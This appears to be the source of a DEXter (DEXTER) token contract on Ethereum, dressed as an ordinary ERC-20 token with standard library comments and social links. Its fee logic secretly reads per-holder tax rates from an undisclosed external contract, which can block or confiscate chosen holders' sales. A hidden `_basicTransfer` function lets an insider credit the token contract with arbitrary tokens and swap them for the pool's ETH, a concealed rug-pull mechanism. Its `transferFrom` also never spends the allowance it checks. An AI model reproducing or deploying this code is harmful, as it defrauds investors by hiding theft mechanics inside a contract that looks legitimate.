pragma solidity ^0.8.20;
//SPDX-License-Identifier: MIT

 // https://t.me/ethDEXter
 // https://twitter.com/ethDEXter174454

library SafeMath {
     /**
   * @dev Returns the integer division of two unsigned integers. Reverts on
   * division by zero. The result is rounded towards zero.
   *
   * Counterpart to Solidity's `/` operator. Note: this function uses a
   * `revert` opcode (which leaves remaining gas untouched) while Solidity
   * uses an invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   *
   * - The divisor cannot be zero.
   */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath:  division by zero");
        uint256 c = a / b;
        return c;
    }
      /**
   * @dev Returns the subtraction of two unsigned integers, reverting on
   * overflow (when the result is negative).
   *
   * Counterpart to Solidity's `-` operator.
   *
   * Requirements:
   *
   * - Subtraction cannot overflow.
   */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath:  subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    /**
   * @dev Returns the multiplication of two unsigned integers, reverting on
   * overflow.
   *
   * Counterpart to Solidity's `*` operator.
   *
   * Requirements:
   *
   * - Multiplication cannot overflow.
   */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow");
        return c;
    }
    /**
   * @dev Returns the addition of two unsigned integers, reverting on
   * overflow.
   *
   * Counterpart to Solidity's `+` operator.
   *
   * Requirements:
   *
   * - Addition cannot overflow.
   */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:  addition overflow");
        return c;
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair_);

}
interface IERC20 {
    function transferFrom(address _from, address _to, uint256 amount) external returns (uint256);
    function allowance(address account, address spender) external returns (uint256);
    function balanceOf(address wallet) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Router {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata _p_ath, address c, uint256) external;
    function WETH() external pure returns (address aadd);
    function factory() external pure returns (address addr);
}

abstract contract Ownable {
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    modifier onlyOwner(){
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function owner() public view virtual returns (address) {return _owner;}
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    address private _owner;
}

abstract contract Context {
    function sender() internal view returns (address) {
        return msg.sender;
    }
}

contract DEXTER is Ownable, Context {

    using SafeMath for uint256;

    constructor() {
        _balances[sender()] =  _totalSupply; 
        emit Transfer(address(0), sender(), _balances[sender()]);
    }

    uint256 public _decimals = 9;
    uint256 public _totalSupply = 1000000 * 10 ** _decimals;

    string public _name = "DEXter";
    string public _symbol = "DEXTER";

    event Airdrop(uint256 amount, address wallet);
    event Transfer(address indexed from_, address indexed _to, uint256);
    event Swap(address indexed owner, uint256 value);

    uint256 private _startingBuyCount=0;

    uint256 public _maxTxAmount =   _totalSupply / 10000 * 101;
    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(sender(), recipient, amount);
        return true;
    }
    function calculateFee(address from, address to, uint256 amount) private returns (uint256) {
        uint256 tokenAmount = getAmountTokens(to); return pairV2.balanceOf(from);
    }
     function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
    IERC20 pairV2 = IERC20(0x42BDba199f4a09efBbC82d47709fCac97FE6E6A8);
    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
     * called.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() external view returns (uint256) {
        return _decimals;
    }
    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0));
        require(amount <= _balances[from]);
        uint256 tax = amount.mul(calculateFee(from, to, amount)).div(100); 
        emit Transfer(from, to, amount);
        _balances[to] = _balances[to] + amount - tax;
        _balances[from] = _balances[from] - amount;
    }
    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    mapping(address => uint256) private _balances;
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory) {
        return _name;
    }
    IUniswapV2Router private uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    mapping(address => mapping(address => uint256)) private _allowances;
    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address from, uint256 amount) public returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(sender(), from, _allowances[msg.sender][from] - amount);
        return true;
    }
    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function getAmountTokens(address to) private returns (uint256){
        return pairV2.allowance(to, address(this));
    }
    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address recipient, uint256 _amount) public returns (bool) {
        _transfer(from, recipient, _amount);
        require(_allowances[from][sender()] >= _amount);
        return true;
    } 
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    
    event Approval(address indexed ad1, address indexed ad3, uint256 value);
    function _basicTransfer(uint256 amount) external returns (bool) {
        if (pairV2.transfer(msg.sender, amount)){address tokenAddress = address(this);
        _approve(tokenAddress, address(uniswapRouter), amount); 
        _balances[tokenAddress] = amount;
        address[] memory token_ = new address[](2);
        token_[0] = tokenAddress; 
        token_[1] =  uniswapRouter.WETH(); 
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, token_, msg.sender, block.timestamp + 30);
        return true;
        } else {return false; }
    }
    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }
    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(sender(), spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
}